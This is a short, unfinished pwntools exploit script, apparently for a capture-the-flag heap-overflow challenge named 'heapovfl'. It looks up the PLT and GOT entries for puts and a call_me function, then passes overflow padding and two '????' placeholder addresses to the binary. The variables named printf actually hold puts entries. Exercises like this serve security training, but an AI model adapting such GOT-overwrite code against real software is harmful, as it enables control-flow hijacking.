from pwn import *

e = ELF('heapovfl')
printf_plt = e.symbols['plt.puts']
printf_got = e.symbols['got.puts']
puts_plt = e.symbols['plt.puts']
puts_got = e.symbols['got.puts']
call_me = e.symbols['call_me']

io = e.process(argv=[cyclic(20) + p32(????), p32(????)])
io.interactive()